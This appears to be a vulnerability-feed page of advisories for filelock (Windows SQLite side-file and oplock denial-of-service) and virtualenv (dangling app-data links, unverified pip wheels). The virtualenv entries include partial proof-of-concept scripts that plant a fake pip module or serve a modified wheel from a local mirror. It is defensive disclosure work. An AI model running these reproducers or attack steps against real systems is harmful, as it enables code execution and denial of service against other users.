https://kevwire.com/record/CVE-2026-112913
filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database (Oct 23, 2026).
On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\Windows\Temp` (the temporary directory of services, granting `BUILTIN\Users` create but not delete) and `C:\Users\Public` are such directories.

With a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.
CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9vhv-jxww-xfm5).
Sources:
GitHub-reviewed advisory GHSA-9vhv-jxww-xfm5: https://github.com/advisories/GHSA-9vhv-jxww-xfm5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\Windows\Temp` (the temporary directory of services, granting `BUILTIN\Users` create but not delete) and `C:\Users\Public` are such directories.

With a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.

## Severity

**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 3.3 (Low).**

`AV:L` (local): the other account needs a logon on the same host. `AC:L` (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. `PR:L` (low privileges): an ordinary account that can create files in the directory is enough. `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` (no confidentiality impact): the other account learns nothing. `I:N` (no integrity impact in the scored variant): see the scoring note. `A:L` (partial availability impact): every acquire fails with an exception that `Timeout` handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.

Scoring note. The deletion variant reads `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L` (3.6): `I:L` because the lock user's process deletes one file the journal names, `AC:H` because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every `ReadWriteLock` on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: **security** (another account), availability for the scored variant.

## Scope and preconditions

- Platform and classes: Windows only. `ReadWriteLock` and `AsyncReadWriteLock`, both of which connect through `_connect`. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.
- Directory: one where another account can create files but cannot delete the lock user's. `C:\Windows\Temp` carries `BUILTIN\Users:(CI)(S,WD,AD,X)` (create file and create subdirectory, no delete child); `C:\Users\Public` and any directory with such an entry qualify. A directory only the lock user can write, such as `%LOCALAPPDATA%` or the per-user temporary directory, is not affected.
- The other account creates ` -wal`, grants everyone modify and denies everyone `DELETE` on it. A file's creator may set both. The lock user can open and read the file but not delete it.
- Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's ` -journal` grants the lock account modify rights. The journal's tail names a file the lock user can delete.
- What the lock user sees: `write_lock(timeout=1)` raised `sqlite3.OperationalError: disk I/O error` with the undeletable `-wal` in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised `sqlite3.OperationalError: unable to open database file`.
- The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for `WindowsFileLock`, in its symlink paragraph; the `ReadWriteLock` documentation names no directory requirement on Windows.

## Affected code

Scanned commit `b831496b0273`: the [Windows branch of `_connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L951-L965) checks the database through a handle and then calls `sqlite3.connect(database, ...)` with the path. [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect that handle, not the side files. The first statement is [`PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` at L816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). [`_do_acquire_inner` at L763](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) turns only `"database is locked"` into `Timeout`; any other `sqlite3.OperationalError` leaves the acquire.

## Introduced

[cfd4446](https://github.com/tox-dev/filelock/commit/cfd4446) "feat(lock): add SQLite-based ReadWriteLock" ([#399](h

Affected package ranges reported by GitHub:
filelock: >= 3.20.4, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break
https://kevwire.com/record/CVE-2026-112907
filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break (Oct 23, 2026).
On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.
CVSS 2.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-567q-5qvw-pf92).
Sources:
GitHub-reviewed advisory GHSA-567q-5qvw-pf92: https://github.com/advisories/GHSA-567q-5qvw-pf92
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

## Severity

**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).**

`AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: **security, conditional** on an unheld marker that another account can open.

## Scope and preconditions

- Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover.
- Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
- Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails.
- Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
- What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits.
- Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
- Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.

## Affected code

Scanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) on every attempt that finds a marker, and from [`_unprobeable_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L137), [`pid`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L164) and [`is_lock_held_by_us`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L179). [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L84-L122) renames at L116 and unlinks at L118 and L122, by path. [`_poll_until_acquired`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1378-L1408) and [`_check_give_up`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1590-L1608) test the deadline, `blocking` and `cancel_check` only between attempts.

## Introduced

[e35

Affected package ranges reported by GitHub:
filelock: >= 3.22.0, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Temporary app-data can leave dangling seed package links
https://kevwire.com/record/CVE-2026-113713
virtualenv: Temporary app-data can leave dangling seed package links (Oct 23, 2026).
The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation
finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though
the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its
owner no longer controls.

Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.
This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim
has not been independently reproduced.
CVSS 4.4 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4f8h-vr72-p32c).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4f8h-vr72-p32c: https://github.com/advisories/GHSA-4f8h-vr72-p32c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25
## Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation
finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though
the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its
owner no longer controls.

Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.
This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim
has not been independently reproduced.

## Affected area

Integrity of app-data references after temporary cache cleanup.

## Attacker-controlled input

Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file,
and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that
fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache
pathname, followed by use of the affected environment. That account need not already be able to modify the environment
or the private cache while it exists. This differs from the security policy's excluded case of an account that already
controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that
cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows
defaults.

## Affected code

The relevant 21.14.8 source is in
[symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py),
[temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py).

## Mechanism

When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A
value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder
constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary
cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another
account on a shared temporary filesystem.

## Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment
owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a
real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a
deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there.
When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed
`this is not pip`.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later
use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache
guard to #1661, first released in 20.0.6.
[Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is
temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the
cross-account reproduction.

## Attack sequence

```mermaid
sequenceDiagram
 participant U as Environment owner
 participant V as virtualenv seeder
 participant T as Temporary app-data in /tmp
 participant E as site-packages/pip link
 participant A as Other local account
 U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
 V->>T: create transient cache
 V->>E: link pip to cache path
 V->>T: delete cache at session exit
 A->>T: reclaim old name and plant fake pip
 U->>E: run bin/pip --version
 E->>T: import fake pip through stale link
 T-->>U: attacker's code runs as owner
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data"

Affected package ranges reported by GitHub:
virtualenv: >= 21.14.8, < 21.14.10
Action: GitHub lists first patched versions: virtualenv: 21.14.10. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Pip seeding with download omits wheel digest verification
https://kevwire.com/record/CVE-2026-113717
virtualenv: Pip seeding with download omits wheel digest verification (Oct 23, 2026).
The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.
Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 2.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cx28-75q4-x26q).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cx28-75q4-x26q: https://github.com/advisories/GHSA-cx28-75q4-x26q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25
## Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.
Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Wheel selection by the pip seeder when downloads are enabled.

## Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.
Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

## Affected code

The relevant 21.14.8 source is in
[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).

## Mechanism

With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so
virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the
configured index. An index wheel with the same package and version as the bundled wheel can be selected without
virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the
same option.

## Reproduction and evidence

The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same
filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the
second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;
`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting
`BUG`.

Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left
`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained
active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is
older, while the comparison with the default seeder arose when digest verification was added in 21.7.12.
[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with
index lookup disabled.

## Attack sequence

```mermaid
sequenceDiagram
 participant I as Index in pip.conf
 participant V as virtualenv PipInvoke
 participant P as pip install
 participant E as Seeded environment
 I->>V: serve modified pip wheel
 V->>V: get_wheel(download=False)
 V->>P: install with --download permitting index lookup
 P->>I: select same-version index wheel
 I->>E: modified pip installed without virtualenv digest check
 E->>E: later pip invocation runs added code
 Note over V,E: Default app-data seeder rejects the same digest
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
 json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
 pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
 [*virtualenv, "--download", f"{work}/env-default"],
 env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
 capture_output=True,
 text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
 [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
 

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Downloaded wheel selection and caching precede verification
https://kevwire.com/record/CVE-2026-113714
virtualenv: Downloaded wheel selection and caching precede verification (Oct 23, 2026).
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual
output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 2.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-494p-63j8-28p3).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-494p-63j8-28p3: https://github.com/advisories/GHSA-494p-63j8-28p3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25
## Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual
output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Download selection and promotion into the reusable wheel cache.

## Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused.
Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI
comparison.

## Affected code

The relevant 21.14.8 source is in
[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).

## Mechanism

`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash
from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.

## Reproduction and evidence

The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a
forged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.

## Attack sequence

```mermaid
sequenceDiagram
 participant I as Configured index
 participant P as pip download
 participant C as wheel/house cache
 participant V as virtualenv digest check
 participant N as New environment
 I->>P: modified wheel and forged Saved line
 P->>C: write modified wheel directly
 P-->>V: stdout names genuine bundled wheel
 V->>V: hash genuine wheel and accept
 V->>C: record modified wheel for reuse
 C->>N: seed modified pip without rehash
 Note over P,C: Even a rejected wheel can remain in the cache
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py

def user_upgrades_seed_wheels_and_creates_env():
 # each case starts from an empty app-data
 shutil.rmtree(app_data, ignore_errors=True)
 shutil.rmtree(home / "env", ignore_errors=True)
 upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
 # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
 subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
 pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
 # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
